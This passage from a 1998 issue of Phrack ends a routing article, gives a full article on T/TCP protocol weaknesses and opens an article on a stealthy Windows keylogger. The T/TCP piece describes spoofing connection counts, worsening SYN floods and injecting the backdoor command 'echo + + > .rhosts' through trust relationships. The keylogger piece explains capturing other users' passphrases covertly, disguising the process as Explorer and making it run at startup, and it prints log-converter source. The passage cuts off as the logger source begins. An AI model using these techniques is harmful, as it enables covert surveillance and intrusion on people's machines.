you have a DS3 to MCI and a DS3 to the local BFE provider, nearly all traffic
|
|||
|
will move out the MCI pipe if the BGP decision is allowed to progress down to
|
|||
|
the AS path length category. At earlier selections, you can change the
|
|||
|
preference of routes by using AS path access lists to select routes based on
|
|||
|
as path regular expressions. For example, if you wanted to select all routes
|
|||
|
that traversed UUnet and send them out your BFE provider, you could use a route
|
|||
|
map to match an AS path access list which contained _701_ and set the
|
|||
|
local_pref to 100 (or some value higher than the UUwho traversed paths from
|
|||
|
MCI). This will force all traffic destined for UUwho to exit your AS over
|
|||
|
your BFE DS3. While this affords you some granularity in load balancing, it
|
|||
|
is often not optimal. Basically, you are forcing traffic out a path that it
|
|||
|
would not normally select. If that BFE provider has many hops before it can
|
|||
|
reach UUnet, you are forcing the traffic you send out that link to traverse
|
|||
|
all of those hops and be subject to (possibly) more link congestion, latency,
|
|||
|
etc.
|
|||
|
|
|||
|
Routing policy is something that requires the tweaking of many knobs. Much of
|
|||
|
the tweaking I have described above pertains to cisco Systems routers. It is
|
|||
|
important to understand that you must think through routing policy before you
|
|||
|
implement it. You must evaluate what load balancing you want, what traffic
|
|||
|
symmetry you want, and what general quality of service your traffic will
|
|||
|
receive because of your decisions.
|
|||
|
|
|||
|
For information more specific than this, read the BGP RFC or current BGPv4
|
|||
|
internet draft [1].
|
|||
|
|
|||
|
|
|||
|
----[ Open Shortest Path First v2 (OSPFv2)
|
|||
|
|
|||
|
We are not going into great detail about OSPF. It is a link state routing
|
|||
|
algorithm. As noted above, link state algorithms route on flat space (no
|
|||
|
hierarchy). OSPF is an improvement over the vanilla LS protocol because it
|
|||
|
provides areas of maintenance for hierarchy purposes. Areas distribute full
|
|||
|
information internally by running a separate OSPF process with its area ID.
|
|||
|
Each router has an identical link state database with other routers within its
|
|||
|
area, but not with external routers. Each area operates in an autonomous
|
|||
|
state and transfers inter-area information at junction routers called area
|
|||
|
border routers. These routers are in two or more areas and help distribute
|
|||
|
information between these areas. The router has separate link state databases
|
|||
|
for each area to which it is connected.
|
|||
|
|
|||
|
OSPFv2's main advantage is that it supports Variable Length Subnet Masks
|
|||
|
(VLSM). This means that a router can advertise reachability with more
|
|||
|
granularity than a scheme which advertised host reachability. Therefore, if
|
|||
|
the router can distribute packets to all hosts from 206.4.4.1 -> 206.4.5.254
|
|||
|
it advertises reachability to 206.4.4.0/23 instead of each classful network
|
|||
|
separately or each host separately. This obviously saves immensely on link
|
|||
|
state database size and processing power required.
|
|||
|
|
|||
|
For information more specific than this, read the current OSPFv2 RFC or
|
|||
|
internet draft [2].
|
|||
|
|
|||
|
|
|||
|
----[ References
|
|||
|
|
|||
|
[1] Rehkter, Y., Li, T., " A Border Gateway Protocol 4 (BGP-4)",
|
|||
|
draft-ietf-idr-bgp4-07.txt, February 1998.
|
|||
|
|
|||
|
[2] Moy, J., "OSPF Version 2", draft-ietf-ospf-vers2-02.txt,
|
|||
|
January 1998.
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 06 of 15
|
|||
|
|
|||
|
|
|||
|
-------------------------[ T/TCP vulnerabilities
|
|||
|
|
|||
|
|
|||
|
--------[ route|daemon9 <route@infonexus.com>
|
|||
|
|
|||
|
|
|||
|
----[ Introduction and Impetus
|
|||
|
|
|||
|
T/TCP is TCP for Transactions. It is a backward compatible extension for
|
|||
|
TCP to facilitate faster and more efficient client/server transactions. T/TCP
|
|||
|
is not in wide deployment but it is in use (see appendix A) and it is supported
|
|||
|
by a handful of OS kernels including: FreeBSD, BSDi, Linux, and SunOS. This
|
|||
|
article will document the T/TCP protocol in light detail, and then cover some
|
|||
|
weaknesses and vulnerabilities.
|
|||
|
|
|||
|
|
|||
|
----[ Background and primer
|
|||
|
|
|||
|
TCP is a protocol designed for reliability at the expense of expediency
|
|||
|
(readers unfamiliar with the TCP protocol are directed to the ancient-but-
|
|||
|
still-relevant: http://www.infonexus.com/~daemon9/Misc/TCPIP-primer.txt).
|
|||
|
Whenever an application is deemed to require reliability, it is usually built
|
|||
|
on top of TCP. This lack of speed is considered a necessary evil. Short lived
|
|||
|
client/server interactions desiring more speed (short in terms of time vs.
|
|||
|
amount of data flow) are typically built on top of UDP to preserve quick
|
|||
|
response times. One exception to this rule, of course, is http. The
|
|||
|
architects of http decided to use the reliable TCP transport for ephemeral
|
|||
|
connections (indeed a poorly designed protocol).
|
|||
|
|
|||
|
T/TCP is a small set of extensions to make a faster, more efficient TCP.
|
|||
|
It is designed to be a completely backward compatible set of extensions to
|
|||
|
speed up TCP connections. T/TCP achieves its speed increase from two major
|
|||
|
enhancements over TCP: TAO and TIME_WAIT state truncation. TAO is TCP
|
|||
|
Accelerated Open, which introduces new extended options to bypass the 3-way
|
|||
|
handshake entirely. Using TAO, a given T/TCP connection can approximate a
|
|||
|
UDP connection in terms of speed, while still maintaining the reliability of a
|
|||
|
TCP connection. In most single data packet exchanges (such is the case with
|
|||
|
transactional-oriented connections like http) the packet count is reduced by a
|
|||
|
third.
|
|||
|
|
|||
|
The second speed up is TIME_WAIT state truncation. TIME_WAIT state
|
|||
|
truncation allows a T/TCP client to shorten the TIME_WAIT state by up to a
|
|||
|
factor of 20. This can allow a client to make more efficient use of network
|
|||
|
socket primitives and system memory.
|
|||
|
|
|||
|
|
|||
|
----[ T/TCP TAO
|
|||
|
|
|||
|
TCP accelerated open is how T/TCP bypasses the 3-way handshake. Before we
|
|||
|
discuss TAO, we need to understand why TCP employs a 3-way handshake.
|
|||
|
According to RFC 793, the principal reason for the exchange is the prevention
|
|||
|
of old duplicate connection initiations wandering into current connections and
|
|||
|
causing confusion. With this in mind, in order to obviate the need for the
|
|||
|
3-way handshake, there needs to be a mechanism for the receiver of a SYN to
|
|||
|
guarantee that that SYN is in fact new. This is accomplished with a new
|
|||
|
extended TCP header option, the connection count (CC).
|
|||
|
|
|||
|
The CC (referred as tcp_ccgen when on a host) is a simple monotonic
|
|||
|
variable that a T/TCP host keeps and increments for every TCP connection
|
|||
|
created on that host. Anytime a client host supporting T/TCP wishes to make a
|
|||
|
T/TCP connection to a server, it includes (in it's TAO packet) a CC (or CCnew)
|
|||
|
header option. If the server supports T/TCP, it will cache that client's
|
|||
|
included CC value and respond with a CCecho option (CC values are cached by
|
|||
|
T/TCP hosts on a per host basis). If the TAO test succeeds, the 3-way
|
|||
|
handshake is bypassed, otherwise the hosts fall back to the older process.
|
|||
|
|
|||
|
The first time a client host supporting T/TCP and a server host supporting
|
|||
|
T/TCP make a connection no CC state exists for that client on that server.
|
|||
|
Because of this fact, the 3-way handshake must be done. However, also at that
|
|||
|
time, the per host CC cache for that client host is initialized, and all
|
|||
|
subsequent connections can use TAO. The TAO test on the server simply checks
|
|||
|
to make sure the client's CC is greater then the last received CC from that
|
|||
|
client. Consider figure 1 below:
|
|||
|
|
|||
|
Client Server
|
|||
|
T -----------------------------------------------------------------------
|
|||
|
i 0 --TAO+data--(CC = 2)--> ClientCC = 1
|
|||
|
m 1 2 > 1; TAO test succeeds
|
|||
|
e 2 accept data ---> (to application)
|
|||
|
|
|||
|
[ fig 1 ]
|
|||
|
|
|||
|
Initially (0) the client sends a TAO encapsulated SYN to the server, with
|
|||
|
a CC of 2. Since the CC value on the server for this client is 1 (indicating
|
|||
|
they have had previous T/TCP-based communication) the TAO test succeeds (1).
|
|||
|
Since the TAO test was successful, the server can pass the data to application
|
|||
|
layer immediately (2). If the client's CC had not been greater than the
|
|||
|
server's cached value, the TAO test would have failed and forced the 3-way
|
|||
|
handshake.
|
|||
|
|
|||
|
|
|||
|
----[ T/TCP TIME_WAIT truncation
|
|||
|
|
|||
|
Before we can see why it is ok to shorten the TIME_WAIT state, we need to
|
|||
|
cover exactly what it is and why it exists.
|
|||
|
|
|||
|
Normally, when a client performs an active close on a TCP connection, it
|
|||
|
must hold onto state information for twice the maximum segment lifetime (2MSL)
|
|||
|
which is usually between 60 - 240 seconds (during this time, the socket pair
|
|||
|
that describes the connection cannot be reused). It is thought that any
|
|||
|
packet from this connection would be expired (due to IP TTL constraints) from
|
|||
|
the network. TCP must be consistent with its behavior across all contingencies
|
|||
|
and the TIME_WAIT state guarantees this consistency during the last phase of
|
|||
|
connection closedown. It keeps old network segments from wandering into a
|
|||
|
connection and causing problems and it helps implement the 4-way closedown
|
|||
|
procedure. For example, if a wandering packet happens to be a retransmission
|
|||
|
of the servers FIN (presumably due to the clients ACK being lost), the client
|
|||
|
must be sure to retransmit the final ACK, rather then a RST (which it would do
|
|||
|
if it had torn down all the state).
|
|||
|
|
|||
|
T/TCP allows for the truncation of the TIME_WAIT state. If a T/TCP
|
|||
|
connection only lasts for MSL seconds or less (which is usually the case with
|
|||
|
transactional-oriented connections) the TIME_WAIT state is truncated to as
|
|||
|
little as 12 seconds (8 times the retranmission timeout - RTO). This is
|
|||
|
allowable from a protocol standpoint because of two things: CC number
|
|||
|
protection against old duplicates and the fact that the 4-way closedown
|
|||
|
procedure packet loss scenario (see above) can be handled by waiting for the
|
|||
|
RTO (multiplied by a constant) as opposed to waiting for a whole 2MSL.
|
|||
|
|
|||
|
As long as the connection didn't last any longer then MSL, the CC number
|
|||
|
in the next connection will prevent old packets with an older CC number from
|
|||
|
being accepted. This will protect connections from old wandering packets
|
|||
|
(if the connection did last longer, it is possible for the CC values to wrap
|
|||
|
and potentially be erroneously delivered to a new incarnation of a connection).
|
|||
|
|
|||
|
|
|||
|
----[ Dominance of TAO
|
|||
|
|
|||
|
It is easy for an attacker to ensure the success or failure of the TAO
|
|||
|
test. There are two methods. The first relies on the second oldest hacking
|
|||
|
tool in the book. The second is more of a brutish technique, but is just as
|
|||
|
effective.
|
|||
|
|
|||
|
|
|||
|
--[ Packet sniffing
|
|||
|
|
|||
|
If we are on the local network with one of the hosts, we can snoop the
|
|||
|
current CC value in use for a particular connection. Since the tcp_ccgen is
|
|||
|
incremented monotonically we can precisely spoof the next expected value by
|
|||
|
incrementing the snooped number. Not only will this ensure the success of our
|
|||
|
TAO test, but it will ensure the failure of the next TAO test for the client
|
|||
|
we are spoofing.
|
|||
|
|
|||
|
|
|||
|
--[ The numbers game
|
|||
|
|
|||
|
The other method of TAO dominance is a bit rougher, but works almost as
|
|||
|
well. The CC is an unsigned 32-bit number (ranging in value from 0 -
|
|||
|
4,294,967,295). Under all observed implementations, the tcp_ccgen is
|
|||
|
initialized to 1. If an attacker needs to ensure the success of a TAO
|
|||
|
connection, but is not in a position where s/he can sniff on a local network,
|
|||
|
they should simply choose a large value for the spoofed CC. The chances that
|
|||
|
one given T/TCP host will burn through even half the tcp_ccgen space with
|
|||
|
another given host is highly unlikely. Simple statistics tells us that the
|
|||
|
larger the chosen tcp_ccgen is, the greater the odds that the TAO test will
|
|||
|
succeed. When in doubt, aim high.
|
|||
|
|
|||
|
|
|||
|
----[ T/TCP and SYN flooding
|
|||
|
|
|||
|
TCP SYN flooding hasn't changed much under TCP for Transactions. The
|
|||
|
actual attack is the same; a series of TCP SYNs spoofed from unreachable IP
|
|||
|
addresses. However, there are 2 major considerations to keep in mind when
|
|||
|
the target host supports T/TCP:
|
|||
|
|
|||
|
1) SYN cookie invalidation: A host supporting T/TCP cannot, at the same
|
|||
|
time, implement SYN cookies. TCP SYN cookies are a SYN flood defense
|
|||
|
technique that works by sending a secure cookie as the sequence number
|
|||
|
in the second packet of the 3-way handshake, then discarding all state
|
|||
|
for that connection. Any TCP options sent would be lost. If the final
|
|||
|
ACK comes in, only then will the host create the kernel socket data
|
|||
|
structures. TAO obviously cannot be used with SYN cookies.
|
|||
|
|
|||
|
2) Failed TAO processing result in queued data: If the TAO test fails, any
|
|||
|
data included with that packet will be queued pending the completion of
|
|||
|
the connection processing (the 3-way handshake). During a SYN flood,
|
|||
|
this can make the attack more severe as memory buffers fill up holding
|
|||
|
this data. In this case, the attacker would want to ensure the failure
|
|||
|
of the TAO test for each spoofed packet.
|
|||
|
|
|||
|
In a previous Phrack Magazine article, the author erroneously reported that
|
|||
|
T/TCP would help to alleviate SYN flood vulnerability. This obviously
|
|||
|
incorrect statement was made before copious T/TCP research was done and is
|
|||
|
hereby rescinded. My bad.
|
|||
|
|
|||
|
|
|||
|
----[ T/TCP and trust relationships
|
|||
|
|
|||
|
An old attack with a new twist. The attack paradigm is still the same,
|
|||
|
(readers unfamiliar with trust relationship exploitation are directed to
|
|||
|
P48-14) this time, however, it is easier to wage. Under T/TCP, there is no
|
|||
|
need to attempt to predict TCP sequence numbers. Previously, this attack
|
|||
|
required the attacker to predict the return sequence number in order to
|
|||
|
complete the connection establishment processing and move the connection into
|
|||
|
the established state. With T/TCP, a packet's data will be accepted by the
|
|||
|
application as soon as the TAO test succeeds. All the attacker needs to do is
|
|||
|
ensure that the TAO test will succeed. Consider the figure below.
|
|||
|
|
|||
|
Attacker Server Trusted
|
|||
|
-----------------------------------------------------------------------
|
|||
|
0 -spoofed-TAO->
|
|||
|
1 TAO test succeeds
|
|||
|
T 2 data to application
|
|||
|
i 3 ---TAO-response->
|
|||
|
m 4 no open socket
|
|||
|
e 5 <------RST-------
|
|||
|
6 tears down connection
|
|||
|
|
|||
|
[ fig 2 ]
|
|||
|
|
|||
|
The attacker first sends a spoofed connection request TAO packet to the
|
|||
|
server. The data portion of this packet presumably contains the tried and true
|
|||
|
non-interactive backdooring command `echo + + > .rhosts`. At (1) the TAO test
|
|||
|
succeeds and the data is accepted (2) and passed to application (where it is
|
|||
|
processed). The server then sends its T/TCP response to the trusted host (3).
|
|||
|
The trusted host, of course, has no open socket (4) for this connection, and
|
|||
|
responds with the expected RST segment (5). This RST will teardown the
|
|||
|
attacker's spoofed connection (6) on the server. If everything went according
|
|||
|
to plan, and the process executing the command in question didn't take too long
|
|||
|
to run, the attacker may now log directly into the server.
|
|||
|
|
|||
|
To deal with (5) the attacker can, of course, wage some sort of denial of
|
|||
|
service attack on the trusted host to keep it from responding to the
|
|||
|
unwarranted connection.
|
|||
|
|
|||
|
|
|||
|
----[ T/TCP and duplicate message delivery
|
|||
|
|
|||
|
Ignoring all the other weaknesses of the protocol, there is one major flaw
|
|||
|
that causes the T/TCP to degrade and behave decidedly NONTCP-like, therefore
|
|||
|
breaking the protocol entirely. The problem is within the TAO mechanism.
|
|||
|
Certain conditions can cause T/TCP to deliver duplicate data to the
|
|||
|
application layer. Consider the timeline in figure 3 below:
|
|||
|
|
|||
|
Client Server
|
|||
|
-----------------------------------------------------------------------
|
|||
|
0 --TAO-(data)--->
|
|||
|
1 TAO test succeeds
|
|||
|
T 2 accept data ---> (to application)
|
|||
|
i 3 *crash* (reboot)
|
|||
|
m 4 timeout (resends) --TAO-(data)--->
|
|||
|
e 5 TAO test fails (data is queued)
|
|||
|
6 established <-SYN-ACK(SYN)-- fallback to 3WHS
|
|||
|
7 --ACK(SYN)-----> established (data --> application)
|
|||
|
|
|||
|
[ fig 3 ]
|
|||
|
|
|||
|
At time 0 the client sends its TAO encapsulated data to the server (for
|
|||
|
this example, consider that both hosts have had recent communication, and the
|
|||
|
server has defined CC values for the client). The TAO test succeeds (1) and
|
|||
|
the server passes the data to the application layer for processing (2).
|
|||
|
Before the server can send its response however (presumably an ACK) it crashes
|
|||
|
(3). The client receives no acknowledgement from the server, so it times out
|
|||
|
and resends its packet (4). After the server reboots it receives this
|
|||
|
retransmission, this time, however, the TAO test fails and the server queues
|
|||
|
the data (5). The TAO test failed and forced a 3-way handshake (6) because the
|
|||
|
servers CC cache was invalidated when it rebooted. After completing the 3-way
|
|||
|
handshake and establishing a connection, the server then passes the queued data
|
|||
|
to the application layer, for a second time. The server cannot tell that it
|
|||
|
has already accepted this data because it maintains no state after a reboot.
|
|||
|
This violates the basic premise of T/TCP that it must remain completely
|
|||
|
backward compatible with TCP.
|
|||
|
|
|||
|
|
|||
|
----[ In closing
|
|||
|
|
|||
|
T/TCP is a good idea that just wasn't implemented properly. TCP was
|
|||
|
not designed to support a connectionless-like paradigm while still
|
|||
|
maintaining reliability and security (TCP wasn't even designed with security
|
|||
|
in mind at all). T/TCP brings out too many problems and discrete bugs in TCP
|
|||
|
to be anything more then a novelty.
|
|||
|
|
|||
|
|
|||
|
----[ Appendix A: Internet hosts supporting RFC 1644
|
|||
|
|
|||
|
This information is ganked from Richard Steven's T/TCP homepage
|
|||
|
(http://www.kohala.com/~rstevens/ttcp.html). It is not verfied to be correct.
|
|||
|
- www.ansp.br
|
|||
|
- www.elite.net
|
|||
|
- www.iqm.unicamp.br
|
|||
|
- www.neosoft.com
|
|||
|
- www.sbq.org.br
|
|||
|
- www.uidaho.edu
|
|||
|
- www.yahoo.com
|
|||
|
|
|||
|
|
|||
|
----[ Appendix B: Bibliography
|
|||
|
|
|||
|
1) Braden, R. T. 1994 "T/TCP - TCP Extensions for Transactions...", 38 p
|
|||
|
2) Braden, R. T. 1992 "Extending TCP for Transactions - Concepts...", 38 p
|
|||
|
3) Stevens, W. Richard. 1996 "TCP Illustrated volume III", 328 p
|
|||
|
4) Smith, Mark. 1996, "Formal verification of Communication...", 15 p
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 07 of 15
|
|||
|
|
|||
|
|
|||
|
-------------------------[ A Stealthy Windows Keylogger
|
|||
|
|
|||
|
|
|||
|
--------[ markj8@usa.net
|
|||
|
|
|||
|
|
|||
|
I recently felt the need to acquire some data being typed into Windows95
|
|||
|
machines on a small TCP-IP network. I had occasional physical access to the
|
|||
|
machines and I knew the remote administration password, but the files were
|
|||
|
being saved in BestCryptNP volumes, the passphrase for which I didn't know...
|
|||
|
|
|||
|
I searched the Net as best I could for a suitable keylogging program that
|
|||
|
would allow me to capture the passphrase without being noticed, but all I
|
|||
|
could find was I big boggy thing written in visual basic that insisted on
|
|||
|
opening a window. I decided to write my own. I wanted to write it as a VXD
|
|||
|
because they run at Privilege Level 0 and can do just about ANYTHING. I soon
|
|||
|
gave up on this idea because I couldn't acquire the correct tools and certainly
|
|||
|
couldn't afford to buy them.
|
|||
|
|
|||
|
While browsing through the computer section of my local public library one
|
|||
|
day I noticed a rather thin book called "WINDOWS ASSEMBLY LANGUAGE and SYSTEMS
|
|||
|
PROGRAMMING" by Barry Kauler, (ISBN 0 13 020207 X) c 1993. A quick flick
|
|||
|
through the Table of Contents revealed "Chapter 10: Real-Time Events, Enhanced
|
|||
|
Mode Hardware Interrupts". I immediately borrowed the book and photocopied
|
|||
|
it (Sorry about the royalties Barry). As I read chapter 10 I realized that
|
|||
|
all I needed was a small 16 bit Windows program running as a normal user
|
|||
|
process to capture every keystroke typed into windows. The only caveat was
|
|||
|
that keystrokes typed into DOS boxes wouldn't be captured. Big deal. I could
|
|||
|
live without that. I was stunned to discover that all user programs in Windows
|
|||
|
share a single Interrupt Descriptor Table (IDT). This implies that if one
|
|||
|
user program patches a vector in the IDT, then all other programs are
|
|||
|
immediately affected.
|
|||
|
|
|||
|
The only tool I had for generating windows executables was Borland C Ver
|
|||
|
2.0 which makes small and cute windows 3.0 EXE's, so that's what I used. I
|
|||
|
have tested it on Windows for Workgroups 3.11, Windows 95 OSR2, and Windows 98
|
|||
|
beta 3. It will probably work on Windows 3.x as well.
|
|||
|
|
|||
|
As supplied, it will create a hidden file in the \WINDOWS\SYSTEM directory
|
|||
|
called POWERX.DLL and record all keystrokes into it using the same encoding
|
|||
|
scheme as Doc Cypher's KEYTRAP3.COM program for DOS. This means that you can
|
|||
|
use the same conversion program, CONVERT3.C, to convert the raw scancodes in
|
|||
|
the log file to readable ASCII. I have included a slightly "improved" version
|
|||
|
of CONVERT3.C with a couple of bugs fixed. I contemplated incorporating the
|
|||
|
functionality of CONVERT3 into W95Klog, but decided that logging scancodes
|
|||
|
was "safer" that logging plain ASCII. If the log file is larger that 2
|
|||
|
megabytes when the program starts, it will be deleted and re-created with
|
|||
|
length zero. When you press CTRL-ALT-DEL (in windows95/98) to look at the
|
|||
|
Task List, W95Klog will show up as "Explorer". You can change this by editing
|
|||
|
the .DEF file and recompiling, or by HEX Editing the .EXE file. If anyone
|
|||
|
knows how to stop a user program from showing on this list please tell me.
|
|||
|
|
|||
|
To cause the target machine to run W95Klog every time it starts Windows
|
|||
|
you can:
|
|||
|
|
|||
|
1) Edit win.ini, [windows] section to say run=WHLPFFS.EXE or some such
|
|||
|
confusing name :) Warning! This will cause a nasty error message if
|
|||
|
WHLPFFS.EXE can't be found. This method has the advantage of being able to be
|
|||
|
performed over the network via "remote administration" without the need for
|
|||
|
both computers to be running "remote registry service".
|
|||
|
|
|||
|
2) Edit the registry key: (Win95/98)
|
|||
|
`HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run` and create
|
|||
|
a new key called whatever you like with a string value of "WHLPFFS.EXE" or
|
|||
|
whatever. This is my preferred method because it is less likely to be stumbled
|
|||
|
upon by the average user and windows continues without complaint if the
|
|||
|
executable can't be found. The log file can be retrieved via the network even
|
|||
|
when it is still open for writing by the logging program. This is very
|
|||
|
convenient ;).
|
|||
|
|
|||
|
|
|||
|
<++> EX/win95log/convert.c
|
|||
|
//
|
|||
|
// Convert v3.0
|
|||
|
// Keytrap logfile converter.
|
|||
|
// By dcypher <dcypher@mhv.net>
|
|||
|
// MSVC++1.52 (Or Borland C 1.01, 2.0 ...)
|
|||
|
// Released: 8/8/95
|
|||
|
//
|
|||
|
// Scancodes above 185(0xB9) are converted to "<UK>", UnKnown.
|
|||
|
//
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
|
|||
|
#define MAXKEYS 256
|
|||
|
#define WS 128
|
|||
|
|
|||
|
const char *keys[MAXKEYS];
|
|||
|
|
|||
|
void main(int argc,char *argv[])
|
|||
|
{
|
|||
|
FILE *stream1;
|
|||
|
FILE *stream2;
|
|||
|
|
|||
|
unsigned int Ldata,Nconvert=0,Yconvert=0;
|
|||
|
char logf_name[100],outf_name[100];
|
|||
|
|
|||
|
//
|
|||
|
// HERE ARE THE KEY ASSIGNMENTS !!
|
|||
|
//
|
|||
|
// You can change them to anything you want.
|
|||
|
// If any of the key assignments are wrong, please let
|
|||
|
// me know. I havn't checked all of them, but it looks ok.
|
|||
|
//
|
|||
|
// v--- Scancodes logged by the keytrap TSR
|
|||
|
// v--- Converted to the string here
|
|||
|
|
|||
|
keys[1] = "<uk>";
|
|||
|
keys[2] = "1";
|
|||
|
keys[3] = "2";
|
|||
|
keys[4] = "3";
|
|||
|
keys[5] = "4";
|
|||
|
keys[6] = "5";
|
|||
|
keys[7] = "6";
|
|||
|
keys[8] = "7";
|
|||
|
keys[9] = "8";
|
|||
|
keys[10] = "9";
|
|||
|
keys[11] = "0";
|
|||
|
keys[12] = "-";
|
|||
|
keys[13] = "=";
|
|||
|
keys[14] = "<bsp>";
|
|||
|
keys[15] = "<tab>";
|
|||
|
keys[16] = "q";
|
|||
|
keys[17] = "w";
|
|||
|
keys[18] = "e";
|
|||
|
keys[19] = "r";
|
|||
|
keys[20] = "t";
|
|||
|
keys[21] = "y";
|
|||
|
keys[22] = "u";
|
|||
|
keys[23] = "i";
|
|||
|
keys[24] = "o";
|
|||
|
keys[25] = "p";
|
|||
|
keys[26] = "["; /* = ^Z Choke! */
|
|||
|
keys[27] = "]";
|
|||
|
keys[28] = "<ret>";
|
|||
|
keys[29] = "<ctrl>";
|
|||
|
keys[30] = "a";
|
|||
|
keys[31] = "s";
|
|||
|
keys[32] = "d";
|
|||
|
keys[33] = "f";
|
|||
|
keys[34] = "g";
|
|||
|
keys[35] = "h";
|
|||
|
keys[36] = "j";
|
|||
|
keys[37] = "k";
|
|||
|
keys[38] = "l";
|
|||
|
keys[39] = ";";
|
|||
|
keys[40] = "'";
|
|||
|
keys[41] = "`";
|
|||
|
keys[42] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
|
|||
|
keys[43] = "\\"; // and not converted
|
|||
|
keys[44] = "z";
|
|||
|
keys[45] = "x";
|
|||
|
keys[46] = "c";
|
|||
|
keys[47] = "v";
|
|||
|
keys[48] = "b";
|
|||
|
keys[49] = "n";
|
|||
|
keys[50] = "m";
|
|||
|
keys[51] = ",";
|
|||
|
keys[52] = ".";
|
|||
|
keys[53] = "/";
|
|||
|
keys[54] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
|
|||
|
keys[55] = "*"; // and not converted
|
|||
|
keys[56] = "<alt>";
|
|||
|
keys[57] = " ";
|
|||
|
|
|||
|
// now show with shift key
|
|||
|
// the TSR adds 128 to the scancode to show shift/caps
|
|||
|
|
|||
|
keys[1+WS] = "["; /* was "<unknown>" but now fixes ^Z problem */
|
|||
|
keys[2+WS] = "!";
|
|||
|
keys[3+WS] = "@";
|
|||
|
keys[4+WS] = "#";
|
|||
|
keys[5+WS] = "$";
|
|||
|
keys[6+WS] = "%";
|
|||
|
keys[7+WS] = "^";
|
|||
|
keys[8+WS] = "&";
|
|||
|
keys[9+WS] = "*";
|
|||
|
keys[10+WS] = "(";
|
|||
|
keys[11+WS] = ")";
|
|||
|
keys[12+WS] = "_";
|
|||
|
keys[13+WS] = "+";
|
|||
|
keys[14+WS] = "<shift+bsp>";
|
|||
|
keys[15+WS] = "<shift+tab>";
|
|||
|
keys[16+WS] = "Q";
|
|||
|
keys[17+WS] = "W";
|
|||
|
keys[18+WS] = "E";
|
|||
|
keys[19+WS] = "R";
|
|||
|
keys[20+WS] = "T";
|
|||
|
keys[21+WS] = "Y";
|
|||
|
keys[22+WS] = "U";
|
|||
|
keys[23+WS] = "I";
|
|||
|
keys[24+WS] = "O";
|
|||
|
keys[25+WS] = "P";
|
|||
|
keys[26+WS] = "{";
|
|||
|
keys[27+WS] = "}";
|
|||
|
keys[28+WS] = "<shift+ret>";
|
|||
|
keys[29+WS] = "<shift+ctrl>";
|
|||
|
keys[30+WS] = "A";
|
|||
|
keys[31+WS] = "S";
|
|||
|
keys[32+WS] = "D";
|
|||
|
keys[33+WS] = "F";
|
|||
|
keys[34+WS] = "G";
|
|||
|
keys[35+WS] = "H";
|
|||
|
keys[36+WS] = "J";
|
|||
|
keys[37+WS] = "K";
|
|||
|
keys[38+WS] = "L";
|
|||
|
keys[39+WS] = ":";
|
|||
|
keys[40+WS] = "\"";
|
|||
|
keys[41+WS] = "~";
|
|||
|
keys[42+WS] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
|
|||
|
keys[43+WS] = "|"; // and not converted
|
|||
|
keys[44+WS] = "Z";
|
|||
|
keys[45+WS] = "X";
|
|||
|
keys[46+WS] = "C";
|
|||
|
keys[47+WS] = "V";
|
|||
|
keys[48+WS] = "B";
|
|||
|
keys[49+WS] = "N";
|
|||
|
keys[50+WS] = "M";
|
|||
|
keys[51+WS] = "<";
|
|||
|
keys[52+WS] = ">";
|
|||
|
keys[53+WS] = "?";
|
|||
|
keys[54+WS] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
|
|||
|
keys[55+WS] = "<shift+*>"; // and not converted
|
|||
|
keys[56+WS] = "<shift+alt>";
|
|||
|
keys[57+WS] = " ";
|
|||
|
|
|||
|
printf("\n");
|
|||
|
printf("Convert v3.0\n");
|
|||
|
// printf("Keytrap logfile converter.\n");
|
|||
|
// printf("By dcypher <dcypher@mhv.net>\n\n");
|
|||
|
printf("Usage: CONVERT infile outfile\n");
|
|||
|
printf("\n");
|
|||
|
|
|||
|
if (argc==3)
|
|||
|
{
|
|||
|
strcpy(logf_name,argv[1]);
|
|||
|
strcpy(outf_name,argv[2]);
|
|||
|
}
|
|||
|
|
|||
|
else
|
|||
|
{
|
|||
|
printf("Enter infile name: ");
|
|||
|
scanf("%99s",&logf_name);
|
|||
|
printf("Enter outfile name: ");
|
|||
|
scanf("%99s",&outf_name);
|
|||
|
printf("\n");
|
|||
|
}
|
|||
|
|
|||
|
stream1=fopen(logf_name,"rb");
|
|||
|
stream2=fopen(outf_name,"a+b");
|
|||
|
|
|||
|
if (stream1==NULL || stream2==NULL)
|
|||
|
{
|
|||
|
if (stream1==NULL)
|
|||
|
printf("Error opening: %s\n\a",logf_name);
|
|||
|
else
|
|||
|
printf("Error opening: %s\n\a",outf_name);
|
|||
|
}
|
|||
|
|
|||
|
else
|
|||
|
{
|
|||
|
fseek(stream1,0L,SEEK_SET);
|
|||
|
printf("Reading data from: %s\n",logf_name);
|
|||
|
printf("Appending information to..: %s\n",outf_name);
|
|||
|
|
|||
|
while (feof(stream1)==0)
|
|||
|
{
|
|||
|
Ldata=fgetc(stream1);
|
|||
|
|
|||
|
if (Ldata>0
|
|||
|
&& Ldata<186)
|
|||
|
{
|
|||
|
if (Ldata==28 || Ldata==28+WS)
|
|||
|
{
|
|||
|
fputs(keys[Ldata],stream2);
|
|||
|
fputc(0x0A,stream2);
|
|||
|
fputc(0x0D,stream2);
|
|||
|
Yconvert++;
|
|||
|
}
|
|||
|
else
|
|||
|
fputs(keys[Ldata],stream2);
|
|||
|
Yconvert++;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
fputs("<UK>",stream2);
|
|||
|
Nconvert++;
|
|||
|
}
|
|||
|
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
fflush(stream2);
|
|||
|
printf("\n\n");
|
|||
|
printf("Data converted....: %i\n",Yconvert);
|
|||
|
printf("Data not converted: %i\n",Nconvert);
|
|||
|
printf("\n");
|
|||
|
printf("Closeing infile: %s\n",logf_name);
|
|||
|
printf("Closeing outfile: %s\n",outf_name);
|
|||
|
fclose(stream1);
|
|||
|
fclose(stream2);
|
|||
|
}
|
|||
|
|
|||
|
<-->
|
|||
|
<++> EX/win95log/W95Klog.c
|
|||
|
/*
|
|||
|
* W95Klog.C Windows stealthy keylogging program
|
|||
|
*/
|
|||
|
|
|||
|
/*
|
|||
|
